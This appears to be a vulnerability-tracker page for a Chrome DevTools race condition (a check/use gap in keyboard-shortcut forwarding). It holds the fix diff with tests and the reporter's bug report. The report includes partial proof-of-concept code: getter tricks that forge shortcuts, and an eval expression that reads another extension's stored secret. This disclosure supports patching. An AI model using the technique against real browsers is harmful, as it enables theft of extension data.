Medium watch CVSS 8 chrome Race 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactRace condition in DevTools
DescriptionRace condition in DevTools
ComponentDevTools
Bug ClassRace
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker548611433
Fix commit4f438153a3d2 (devtools/devtools-frontend) +529/-54
CWECWE-367 (TOCTOU race)
CVSS vectorCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
CISA KEVNot listed
Credited@bean5oup
Reported2026-08-18 (per vendor advisory)
Fix landed2026-08-19 (public git)
Disclosed2026-09-22
Patch gapNot computed: several commits cite this bug and it is not yet established which one is the fix.

Background

`ExtensionServer`
the DevTools-frontend broker (front_end/panels/common/ExtensionServer.ts) that receives commands from installed DevTools extensions over the extension messaging bridge.
`forwardKeyboardEvent`
a handler in ExtensionAPI.ts that captures keydown events and forwards whitelisted global hotkeys to the host so DevTools shortcuts work while an extension iframe has focus (a workaround for crbug.com/923338).
`keyboardEventRequestQueue`
a module-level array that batches captured key events; it is drained asynchronously by forwardEventQueue via a setTimeout(..., 0) timer.
`Commands.ForwardKeyboardEvent`
the extension command whose entries payload carries the forwarded key events across the trust boundary into ExtensionServer.

Root Cause Analysis

The pre-patch forwardKeyboardEvent read the live, mutable KeyboardEvent object throughout its focus check and modifier/keysToForwardSet gate, then constructed an ad-hoc payload object typed loosely as KeyboardEventInit&{eventType: string} and pushed it onto keyboardEventRequestQueue, which was only flushed later on a setTimeout timer. Because validation and enqueue operated on the untrusted live event and a shared mutable queue rather than an immutable snapshot, the decision to forward and the values actually forwarded were not guaranteed to be the same, and the loose type let unexpected KeyboardEventInit fields (including the removed non-standard keyIdentifier) ride across into ExtensionServer.

The fix builds a strict, Object.freezed requestPayload typed as PrivateAPI.ForwardKeyboardEventRequestEntry first, then performs every focus and modifier check against that frozen snapshot, so the validated data and the forwarded data are provably identical. The new ForwardKeyboardEventRequestEntry interface replaces the permissive intersection type with an explicit field whitelist, and ExtensionServer is updated to validate incoming keyboard-shortcut entries against that shape (per the commit title). Together these ensure a forwarded key event cannot be mutated or over-populated between the check and the dispatch.

Key insight
The single mistake was validating and forwarding a live, mutable event object through a deferred async queue instead of an immutable, strictly-typed snapshot, creating a time-of-check/time-of-use gap; the fix freezes a whitelisted requestPayload before any validation and has ExtensionServer re-validate the entry, closing the race.

Attack Path

  1. Load an interacting extension A DevTools extension registers a panel/iframe and can dispatch Commands.ForwardKeyboardEvent entries into the frontend, which trusts the entry shape.
  2. Trigger the deferred forward path Keyboard input in the extension context enters forwardKeyboardEvent, which validates against the live KeyboardEvent and defers dispatch by pushing onto keyboardEventRequestQueue and scheduling forwardEventQueue via setTimeout(0).
  3. Win the check/use gap Between the modifier/focus validation and the asynchronous drain, the mutable event or loosely-typed payload can differ from what was validated, so a key event that should have been dropped (or extra KeyboardEventInit fields) is forwarded to ExtensionServer. (inferred)
  4. Dispatch an unvalidated shortcut ExtensionServer acts on the forwarded entry as a genuine DevTools hotkey, since it previously did not independently validate the entry shape. (inferred)

Impact Assessment

An attacker controlling or influencing a DevTools extension could cause unvalidated or mutated keyboard-shortcut events to be forwarded and acted upon in the DevTools-frontend context, effectively invoking DevTools actions the user did not intend. The precondition is that DevTools is open with an interacting extension present. This is a Race condition in DevTools; the advisory states no exploited-in-the-wild status, and any escalation from spurious shortcut dispatch to a broader privileged action is (inferred), not demonstrated by the patch.

Changed Functions

FunctionChangeNotes
if
front_end/models/extensions/ExtensionAPI.ts
modified
get
front_end/panels/common/ExtensionServer.test.ts
modified

Files Changed

  • front_end/models/extensions/ExtensionAPI.ts
  • front_end/panels/common/ExtensionServer.test.ts
  • front_end/panels/common/ExtensionServer.ts

Audit Directions

  • Live-object TOCTOU across async queues
    Audit any handler that validates a mutable DOM/event object and then defers action via setTimeout/microtask/queue; require an immutable (Object.freezed) snapshot taken before validation.
  • Loose cross-boundary payload types
    Flag extension/message payloads typed as intersections with KeyboardEventInit or other broad DOM init dictionaries; replace with explicit field-whitelist interfaces and validate on the receiving (ExtensionServer) side.
  • Trust-boundary re-validation
    Ensure the DevTools host re-validates every Commands.* entry rather than trusting checks performed in the extension/ExtensionAPI context, since the sending side is attacker-influenceable.
From 4f438153a3d245c1440addd3ddec2763b00bdb4b Mon Sep 17 00:00:00 2001
From: Alex Rudenko <[email protected]>
Date: Wed, 19 Aug 2026 12:33:39 +0200
Subject: [PATCH] Validate keyboard shortcuts in ExtensionServer

Fixed: 548611433
Change-Id: I9ec9d54b62cc988ecefe032065b9a8c675bb645f
Reviewed-on: https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/8250963
Reviewed-by: Philip Pfaffe <[email protected]>
Commit-Queue: Philip Pfaffe <[email protected]>
Auto-Submit: Alex Rudenko <[email protected]>
Commit-Queue: Alex Rudenko <[email protected]>
---
diff --git a/front_end/models/extensions/ExtensionAPI.ts b/front_end/models/extensions/ExtensionAPI.ts
index bc7cf00..c3e900b 100644
--- a/front_end/models/extensions/ExtensionAPI.ts
+++ b/front_end/models/extensions/ExtensionAPI.ts
@@ -247,9 +247,20 @@
     scriptUrl: string;
     ranges: PublicAPI.Chrome.DevTools.NamedFunctionRange[];
   }
+  export interface ForwardKeyboardEventRequestEntry {
+    eventType: string;
+    ctrlKey: boolean;
+    altKey: boolean;
+    metaKey: boolean;
+    shiftKey: boolean;
+    key: string;
+    code: string;
+    keyCode: number;
+    location: number;
+  }
   interface ForwardKeyboardEventRequest {
     command: Commands.ForwardKeyboardEvent;
-    entries: Array<KeyboardEventInit&{eventType: string}>;
+    entries: ForwardKeyboardEventRequestEntry[];
   }
   interface GetHARRequest {
     command: Commands.GetHAR;
@@ -1553,52 +1564,52 @@
     return inspectedTabId;
   }
 
-  let keyboardEventRequestQueue: KeyboardEventInit&Array<{eventType: string}> = [];
+  let keyboardEventRequestQueue: PrivateAPI.ForwardKeyboardEventRequestEntry[] = [];
   let forwardTimer: ReturnType<typeof setTimeout>|undefined;
   function forwardKeyboardEvent(event: KeyboardEvent): void {
-    // Check if the event should be forwarded.
-    // This is a workaround for crbug.com/923338.
-    const focused = document.activeElement;
-    if (focused) {
-      const isInput =
-          focused.nodeName === 'INPUT' || focused.nodeName === 'TEXTAREA' || (focused as HTMLElement).isContentEditable;
-      if (isInput && !(event.ctrlKey || event.altKey || event.metaKey)) {
-        return;
-      }
-    }
-
-    let modifiers = 0;
-    if (event.shiftKey) {
-      modifiers |= 1;
-    }
-    if (event.ctrlKey) {
-      modifiers |= 2;
-    }
-    if (event.altKey) {
-      modifiers |= 4;
-    }
-    if (event.metaKey) {
-      modifiers |= 8;
-    }
-    const num = (event.keyCode & 255) | (modifiers << 8);
-    // We only care about global hotkeys, not about random text
-    if (!keysToForwardSet.has(num)) {
-      return;
-    }
-    event.preventDefault();
-    const requestPayload = {
+    const requestPayload: Readonly<PrivateAPI.ForwardKeyboardEventRequestEntry> = Object.freeze({
       eventType: event.type,
       ctrlKey: event.ctrlKey,
       altKey: event.altKey,
       metaKey: event.metaKey,
       shiftKey: event.shiftKey,
-      // @ts-expect-error keyIdentifier is a deprecated non-standard property that typescript doesn't know about.
-      keyIdentifier: event.keyIdentifier,
       key: event.key,
       code: event.code,
-      location: event.location,
       keyCode: event.keyCode,
-    };
+      location: event.location,
+    });
+
+    // Check if the event should be forwarded.
+    // This is a workaround for crbug.com/923338.
+    const targetDocument = targetWindowForTest?.document ?? document;
+    const focused = targetDocument.activeElement;
+    if (focused) {
+      const isInput =
+          focused.nodeName === 'INPUT' || focused.nodeName === 'TEXTAREA' || (focused as HTMLElement).isContentEditable;
+      if (isInput && !(requestPayload.ctrlKey || requestPayload.altKey || requestPayload.metaKey)) {
+        return;
+      }
+    }
+
+    let modifiers = 0;
+    if (requestPayload.shiftKey) {
+      modifiers |= 1;
+    }
+    if (requestPayload.ctrlKey) {
+      modifiers |= 2;
+    }
+    if (requestPayload.altKey) {
+      modifiers |= 4;
+    }
+    if (requestPayload.metaKey) {
+      modifiers |= 8;
+    }
+    const num = (requestPayload.keyCode & 255) | (modifiers << 8);
+    // We only care about global hotkeys, not about random text
+    if (!keysToForwardSet.has(num)) {
+      return;
+    }
+    event.preventDefault();
     keyboardEventRequestQueue.push(requestPayload);
     if (!forwardTimer) {
       forwardTimer = globalThis.setTimeout(forwardEventQueue, 0);
@@ -1612,7 +1623,7 @@
     keyboardEventRequestQueue = [];
   }
 
-  document.addEventListener('keydown', forwardKeyboardEvent, false);
+  (targetWindowForTest?.document ?? document).addEventListener('keydown', forwardKeyboardEvent, false);
 
   function ExtensionServerClient(this: APIImpl.ExtensionServerClient, targetWindow: Window): void {
     this._callbacks = {};
diff --git a/front_end/panels/common/ExtensionServer.test.ts b/front_end/panels/common/ExtensionServer.test.ts
index f29b4b6..8acfd48 100644
--- a/front_end/panels/common/ExtensionServer.test.ts
+++ b/front_end/panels/common/ExtensionServer.test.ts
@@ -2243,4 +2243,408 @@
                                                    });
     });
   });
+
+  describe('forwardKeyboardEvent', () => {
+    interface ForwardedKeyboardEvent extends KeyboardEvent {
+      // eslint-disable-next-line @typescript-eslint/naming-convention
+      __keyCode?: number;
+    }
+
+    interface WindowWithOptionalChrome {
+      chrome?: Partial<Chrome.DevTools.Chrome>;
+    }
+
+    interface TestExtensionServerClient {
+      sendRequest: sinon.SinonStub;
+    }
+
+    it('dispatches allowed global shortcut keys', () => {
+      const server = PanelCommon.ExtensionServer.ExtensionServer.instance();
+      const shortcutKey = UI.KeyboardShortcut.KeyboardShortcut.makeKey('P', UI.KeyboardShortcut.Modifiers.Ctrl.value);
+      sinon.stub(UI.ShortcutRegistry.ShortcutRegistry.instance(), 'globalShortcutKeys').returns([shortcutKey]);
+
+      const dispatchedEvents: KeyboardEvent[] = [];
+      const listener = (event: Event) => dispatchedEvents.push(event as KeyboardEvent);
+      document.addEventListener('keydown', listener);
+
+      try {
+        const result = server.onForwardKeyboardEventForTest({
+          command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+          entries: [{
+            eventType: 'keydown',
+            ctrlKey: true,
+            altKey: false,
+            metaKey: false,
+            shiftKey: false,
+            key: 'p',
+            code: 'KeyP',
+            keyCode: 80,
+            location: 0,
+          }],
+        });
+
+        assert.isUndefined(result);
+        assert.lengthOf(dispatchedEvents, 1);
+        const [event] = dispatchedEvents;
+        assert.strictEqual(event.type, 'keydown');
+        assert.isTrue(event.ctrlKey);
+        assert.isFalse(event.altKey);
+        assert.strictEqual(event.key, 'p');
+        assert.strictEqual(event.code, 'KeyP');
+        assert.strictEqual((event as ForwardedKeyboardEvent).__keyCode, 80);
+      } finally {
+        document.removeEventListener('keydown', listener);
+      }
+    });
+
+    it('handles synthetic Escape key code', () => {
+      const server = PanelCommon.ExtensionServer.ExtensionServer.instance();
+      const escapeKey = UI.KeyboardShortcut.KeyboardShortcut.makeKey(27, UI.KeyboardShortcut.Modifiers.None.value);
+      sinon.stub(UI.ShortcutRegistry.ShortcutRegistry.instance(), 'globalShortcutKeys').returns([escapeKey]);
+
+      const dispatchedEvents: KeyboardEvent[] = [];
+      const listener = (event: Event) => dispatchedEvents.push(event as KeyboardEvent);
+      document.addEventListener('keydown', listener);
+
+      try {
+        const result = server.onForwardKeyboardEventForTest({
+          command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+          entries: [{
+            eventType: 'keydown',
+            ctrlKey: false,
+            altKey: false,
+            metaKey: false,
+            shiftKey: false,
+            key: Platform.KeyboardUtilities.ESCAPE_KEY,
+            code: 'Escape',
+            keyCode: 0,
+            location: 0,
+          }],
+        });
+
+        assert.isUndefined(result);
+        assert.lengthOf(dispatchedEvents, 1);
+        const [event] = dispatchedEvents;
+        assert.strictEqual((event as ForwardedKeyboardEvent).__keyCode, 27);
+      } finally {
+        document.removeEventListener('keydown', listener);
+      }
+    });
+
+    it('rejects keys that are not allowed global shortcuts', () => {
+      const server = PanelCommon.ExtensionServer.ExtensionServer.instance();
+      sinon.stub(UI.ShortcutRegistry.ShortcutRegistry.instance(), 'globalShortcutKeys').returns([]);
+
+      const dispatchedEvents: KeyboardEvent[] = [];
+      const listener = (event: Event) => dispatchedEvents.push(event as KeyboardEvent);
+      document.addEventListener('keydown', listener);
+
+      try {
+        const result = server.onForwardKeyboardEventForTest({
+          command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+          entries: [{
+            eventType: 'keydown',
+            ctrlKey: false,
+            altKey: false,
+            metaKey: false,
+            shiftKey: false,
+            key: 'a',
+            code: 'KeyA',
+            keyCode: 65,
+            location: 0,
+          }],
+        });
+
+        assertIsStatus(result);
+        assert.strictEqual(result.code, 'E_BADARG');
+        assert.lengthOf(dispatchedEvents, 0);
+      } finally {
+        document.removeEventListener('keydown', listener);
+      }
+    });
+
+    it('rejects malformed entries without dispatching events', () => {
+      const server = PanelCommon.ExtensionServer.ExtensionServer.instance();
+      const shortcutKey = UI.KeyboardShortcut.KeyboardShortcut.makeKey('P', UI.KeyboardShortcut.Modifiers.Ctrl.value);
+      sinon.stub(UI.ShortcutRegistry.ShortcutRegistry.instance(), 'globalShortcutKeys').returns([shortcutKey]);
+
+      const dispatchedEvents: KeyboardEvent[] = [];
+      const listener = (event: Event) => dispatchedEvents.push(event as KeyboardEvent);
+      document.addEventListener('keydown', listener);
+
+      try {
+        // Non-array entries
+        const result1 = server.onForwardKeyboardEventForTest({
+          command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+          entries: 'not an array' as unknown as Extensions.ExtensionAPI.PrivateAPI.ForwardKeyboardEventRequestEntry[],
+        });
+        assertIsStatus(result1);
+        assert.strictEqual(result1.code, 'E_BADARG');
+
+        // Invalid eventType
+        const result2 = server.onForwardKeyboardEventForTest({
+          command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+          entries: [{
+            eventType: 'keyup',
+            ctrlKey: true,
+            altKey: false,
+            metaKey: false,
+            shiftKey: false,
+            key: 'p',
+            code: 'KeyP',
+            keyCode: 80,
+            location: 0,
+          }],
+        });
+        assertIsStatus(result2);
+        assert.strictEqual(result2.code, 'E_BADARG');
+
+        // Invalid property type (keyCode as string)
+        const result3 = server.onForwardKeyboardEventForTest({
+          command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+          entries: [{
+            eventType: 'keydown',
+            ctrlKey: true,
+            altKey: false,
+            metaKey: false,
+            shiftKey: false,
+            key: 'p',
+            code: 'KeyP',
+            keyCode: '80' as unknown as number,
+            location: 0,
+          }],
+        });
+        assertIsStatus(result3);
+        assert.strictEqual(result3.code, 'E_BADARGTYPE');
+
+        // Array with one valid and one invalid entry should dispatch nothing
+        const result4 = server.onForwardKeyboardEventForTest({
+          command: Extensions.ExtensionAPI.PrivateAPI.Commands.ForwardKeyboardEvent,
+          entries: [
+            {
+              eventType: 'keydown',
+              ctrlKey: true,
+              altKey: false,
+              metaKey: false,
+              shiftKey: false,
+              key: 'p',
+              code: 'KeyP',
+              keyCode: 80,
+              location: 0,
+            },
+            {
+              eventType: 'keydown',
+              ctrlKey: false,
+              altKey: false,
+              metaKey: false,
+              shiftKey: false,
+              key: 'q',
+              code: 'KeyQ',
+              keyCode: 81,
+              location: 0,
+            },
+          ],
+        });
+        assertIsStatus(result4);
+        assert.strictEqual(result4.code, 'E_BADARG');
+        assert.lengthOf(dispatchedEvents, 0);
+      } finally {
+        document.removeEventListener('keydown', listener);
+      }
+    });
+
+    it('extension client reads event properties once and forwards allowed shortcuts', async () => {
+      let sendRequestStub: sinon.SinonStub|undefined;
+      const shortcutKey = UI.KeyboardShortcut.KeyboardShortcut.makeKey('P', UI.KeyboardShortcut.Modifiers.Ctrl.value);
+
+      const fakeDocument = document.createElement('div');
+      const fakeWindow = {
+        postMessage: sinon.stub(),
+        addEventListener: sinon.stub(),
+        removeEventListener: sinon.stub(),
+        document: fakeDocument,
+      } as unknown as Window;
+
+      const windowWithChrome = window as unknown as WindowWithOptionalChrome;
+      const originalChrome = windowWithChrome.chrome;
+      delete windowWithChrome.chrome;
+
+      try {
+        self.injectedExtensionAPI(context.extensionDescriptor, 'main', 'dark',
+                                  [shortcutKey], (extensionServer: unknown) => {
+                                    const client = extensionServer as TestExtensionServerClient;
+                                    sendRequestStub = sinon.stub(client, 'sendRequest');
+                                  }, 1, fakeWindow);
+
+        assert.exists(sendRequestStub);
+
+        let keyReadCount = 0;
+        let ctrlKeyReadCount = 0;
+        let keyCodeReadCount = 0;
+
+        const keydownEvent = new KeyboardEvent('keydown', {
+          ctrlKey: true,
+          key: 'p',
+          code: 'KeyP',
+          keyCode: 80,
+        });
+
+        Object.defineProperty(keydownEvent, 'ctrlKey', {
+          get() {
+            ctrlKeyReadCount++;
+            return true;
+          },
+        });
+        Object.defineProperty(keydownEvent, 'key', {
+          get() {
+            keyReadCount++;
... (file diff truncated)
Loading diff…

Original Bug Report

reported by [email protected]

Extensions isolation bypass due to a TOCTOU in DevTools shortcut forwarding and missing selected-call-frame authorization


Report description

Extensions isolation bypass due to a TOCTOU in DevTools shortcut forwarding and missing selected-call-frame authorization


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules


The problem

Please describe the technical details of the vulnerability

Summary

A malicious DevTools extension can bypass the forwarded-key allowlist through a TOCTOU in forwardKeyboardEvent() and execute JavaScript in another extension’s content-script isolated world.

When a victim content-script synchronously enters page JavaScript and execution pauses, the victim’s frame remains on the call stack. The attacker can forge Ctrl+., DevTools’ shortcut for selecting the next call frame, to select that victim frame and then call chrome.devtools.inspectedWindow.eval().

Internally, inspectedWindow.eval() reaches ExecutionContext.evaluate(). While paused, this function evaluates in the selected call frame through Debugger.evaluateOnCallFrame instead of the authorized page context, without revalidating the frame’s context or extension owner. The attacker’s expression therefore runs with the victim extension’s content-script context.

Details

1. Forwarded-key allowlist TOCTOU

forwardKeyboardEvent() is an internal keyboard-forwarding handler injected into DevTools extension pages. It determines whether a keyboard event is allowlisted by reading properties from a KeyboardEvent.

//third_party/devtools-frontend/src/front_end/models/extensions/ExtensionAPI.ts:

function forwardKeyboardEvent(event: KeyboardEvent): void {
  . . .
  let modifiers = 0;
  if (event.shiftKey) {
    modifiers |= 1;
  }
  if (event.ctrlKey) {
    modifiers |= 2;
  }
  if (event.altKey) {
    modifiers |= 4;
  }
  if (event.metaKey) {
    modifiers |= 8;
  }
  const num = (event.keyCode & 255) | (modifiers << 8);
  // We only care about global hotkeys, not about random text
  if (!keysToForwardSet.has(num)) {
    return;
  }

After the event passes this check, the function reads the same properties again to construct the message sent to the DevTools frontend:

function forwardKeyboardEvent(event: KeyboardEvent): void {
   . . .
  const requestPayload = {
    eventType: event.type,
    ctrlKey: event.ctrlKey,
    altKey: event.altKey,
    metaKey: event.metaKey,
    shiftKey: event.shiftKey,
    // @ts-expect-error keyIdentifier is a deprecated non-standard property that typescript doesn't know about.
    keyIdentifier: event.keyIdentifier,
    key: event.key,
    code: event.code,
    location: event.location,
    keyCode: event.keyCode,
  };

These property accesses are observable JavaScript operations. The PoC defines accessors on a synthetic KeyboardEvent that return different values on successive reads.

attacker/devtools.js:

Object.defineProperty(event, 'keyCode', {
    get: () => ++keyCodeReads === 1 ? 80 : keyCode,
});
Object.defineProperty(event, 'which', { get: () => keyCode });
Object.defineProperty(event, 'ctrlKey', {
    get: () => ++ctrlKeyReads === 1 ? true : ctrlKey,
});
Object.defineProperty(event, 'shiftKey', {
    get: () => ++shiftKeyReads === 1 ? true : shiftKey,
});

During validation, the event appears to be the allowlisted Ctrl+Shift+P shortcut (keyCode 80). During payload construction, however, the accessors return values for an attacker-selected shortcut.

The receiving ExtensionServer constructs a new KeyboardEvent, stores the supplied key code in __keyCode, and dispatches the event on the DevTools frontend document. It neither repeats the allowlist check nor verifies that the serialized values match those that were previously authorized.

The PoC exploits this discrepancy to forge:

  • Ctrl+. for selecting the next debugger call frame
  • F8 sent exactly once to resume the paused target after the payload has been scheduled in the victim’s context

The apparent Ctrl+Shift+P event is used only to pass the allowlist check. The Command Menu is never opened because the DevTools frontend receives the later, attacker-selected shortcut values.

2. Synchronous cross-world reentry keeps the victim frame live

The attacker evaluates JavaScript in the inspected page that creates a hidden button with a page-world click listener containing a debugger statement.

attacker/devtools.js:

function evaluate(expr) {
    return new Promise(resolve => {
        chrome.devtools.inspectedWindow.eval(
            expr, (result, exceptionInfo) => {
                resolve(exceptionInfo?.isException ? undefined : result);
            });
    });
}
. . .
function triggerVictim(hookSourceURL) {
    . . .
    return evaluate(`(() => {
    . . .
    button.addEventListener('click', () => {
      clearTimeout(cleanup);
      button.remove();
      debugger;
    }, {once: true});
    button.setAttribute('data-victim-autofill', '');
    document.documentElement.appendChild(button);
  })()\n//# sourceURL=${hookSourceURL}`);
}

The victim content script’s MutationObserver, running in the victim extension’s isolated world, detects the marked element and calls node.click().

victim/content.js:

if (node instanceof Element && node.matches('[data-victim-autofill]')) {
    observer.disconnect();
    document.documentElement.removeAttribute('data-victim-ready');
    node.click();
    return;
}

node.click() dispatches the click event synchronously. Blink enters the page’s main world to invoke the click listener before node.click() returns to the victim content script. Execution pauses at debugger while the victim’s MutationObserver callback is therefore still active, leaving a live call stack similar to the following(You can see this DevTools Call Stack pane of Sources panel):

    button.addEventListener.once    synchronous-click-hook.js:11
        └─page main world: click listener containing `debugger`
>>> (anonymous)                     content.js:13
        └─victim extensions's isolated world: MutationObserver callback calling node.click()

The MutationObserver and click() chain is just one deterministic way to produce the required stack shape. Numerous synchronous reentry patterns can create the same condition, making the technique broadly applicable to extensions distributed through stores. PoC 2 demonstrates this against MetaMask.

3. The attacker selects the victim call frame

Execution initially pauses in the page-world click listener. The attacker calls chrome.devtools.inspectedWindow.eval() with a capability probe that checks whether chrome.storage.local is available. Evaluation in the page-world frame returns no-storage-api.

The attacker then uses the TOCTOU to forge Ctrl+., the DevTools shortcut associated with debugger.next-call-frame, and selects the next live frame in the paused call stack. After each frame change, the attacker repeats the capability probe. When the selected frame reaches the victim content-script callback, chrome.storage.local becomes available through the victim extension’s isolated-world bindings.

4. inspectedWindow.eval() evaluates in an unauthorized call frame

ExtensionServer.evaluate() resolves the requested inspected frame, selects its default execution context, and checks the extension against the frame URL and that context’s origin. It then calls context.evaluate().

//third_party/devtools-frontend/src/front_end/panels/common/ExtensionServer.ts:

export class ExtensionServer extends Common.ObjectWrapper.ObjectWrapper<EventTypes> {
  evaluate(. . .) {
    . . .
    void context
        .evaluate(
            {
              expression,
              objectGroup: 'extension',
              includeCommandLineAPI: exposeCommandLineAPI,
              silent: true,
              returnByValue,
              generatePreview: false,
            },
            /* userGesture */ false, /* awaitPromise */ false)
        .then(onEvaluate);

However, ExecutionContext.evaluate() redirects evaluation to the currently selected call frame whenever the debugger is paused.

//third_party/devtools-frontend/src/front_end/core/sdk/RuntimeModel.ts:

export class ExecutionContext {
  . . .
  async evaluate(options: EvaluationOptions, userGesture: boolean, awaitPromise: boolean): Promise<EvaluationResult> {
    // FIXME: It will be moved to separate ExecutionContext.
    if (this.debuggerModel.selectedCallFrame()) {
      return await this.debuggerModel.evaluateOnSelectedCallFrame(options);
    }
    return await this.evaluateGlobal(options, userGesture, awaitPromise);
  }

The selected frame is ultimately evaluated through Debugger.evaluateOnCallFrame, an actual Chrome DevTools Protocol command, using its callFrameId.

await this.debuggerModel.agent.invoke_evaluateOnCallFrame({
  callFrameId: this.id,
  expression: options.expression,
  // ...
});

No check verifies that this call frame belongs to the previously authorized execution context or extension. Once the forged shortcut selects the victim frame, the attacker’s expression therefore executes with the victim extension’s isolated-world bindings.

5. Cross-extension API access and proof

After selecting the victim frame, the attacker evaluates an expression that uses the victim extension’s chrome.storage.local binding.

attacker/devtools.js:

function renderStorageFromSelectedFrame() {
    return evaluate(`(() => {
    if (!globalThis.chrome?.storage?.local) {
      return 'no-storage-api';
    }
    chrome.storage.local.get('crossExtensionSecret').then(stored => {
      const leaked = stored.crossExtensionSecret;
      if (typeof leaked !== 'string') {
        return;
      }
      let output = document.getElementById('${leakOutputId}');
      if (!output) {
        output = document.createElement('h1');
        output.id = '${leakOutputId}';
        (document.body || document.documentElement).appendChild(output);
      }
      output.textContent = 'STORAGE LEAKED: ' + leaked;
    });
    return 'scheduled';
  })()`);
}

Because the expression runs in the victim’s isolated world, chrome.storage refers to the victim extension’s storage rather than the attacker’s storage. The attacker then forges F8 exactly once to resume execution, allowing the promise callback to render the leaked value in the shared DOM.

6. Remediation

Two independent checks should be hardened:

  1. The keyboard-forwarding path should read each event property exactly once and validate the same immutable snapshot that is serialized. The frontend should independently validate the final key, code, key code, and modifier combination.
  2. DevTools extension evaluation should use the exact execution context authorized by ExtensionServer. If selected-call-frame evaluation is intended, the selected frame’s execution-context ID, origin, frame, and extension owner must be resolved and authorized before invoking Debugger.evaluateOnCallFrame.

Version

Chromium: Official Build, 151.0.7922.138

MetaMask: 13.44.0

OS: Windows 11 Version 25H2 (Build 26200.9168)

Reproduction

Before reproducing, remove attachment prefixes such as attacker- and victim- from the filenames, then arrange the files according to the directory structure:

.
├─attacker
│      devtools.html
│      devtools.js
│      manifest.json
│      
└─victim
       content.js
       manifest.json
       service-worker.js
  1. Load attacker and victim extension
  2. Go to https://example.com
  3. Open DevTools
  4. The victim’s storage is printed to the DOM by attacker’s extension

The poc.mov video is also attached.

Impact analysis

Exploitation requires the user to install a malicious extension with a devtools_page and open DevTools on a page where the victim extension is active. No debugger or management permissions are required, and declaring a devtools_page does not trigger an installation warning.

Pausing execution may briefly switch DevTools to the Sources panel, but this can go unnoticed if the attacker immediately switches back to the Elements panel.

I was also able to reproduce this issue against a popular extension available on the Chrome Web Store.


The cause

What version of Chrome have you found the security issue in?

Official Build, 151.0.7922.138

No, it is not related to a crash.

Choose the type of vulnerability

Site Isolation Bypass

How would you like to be publicly acknowledged for your report?

@bean5oup

View on issue tracker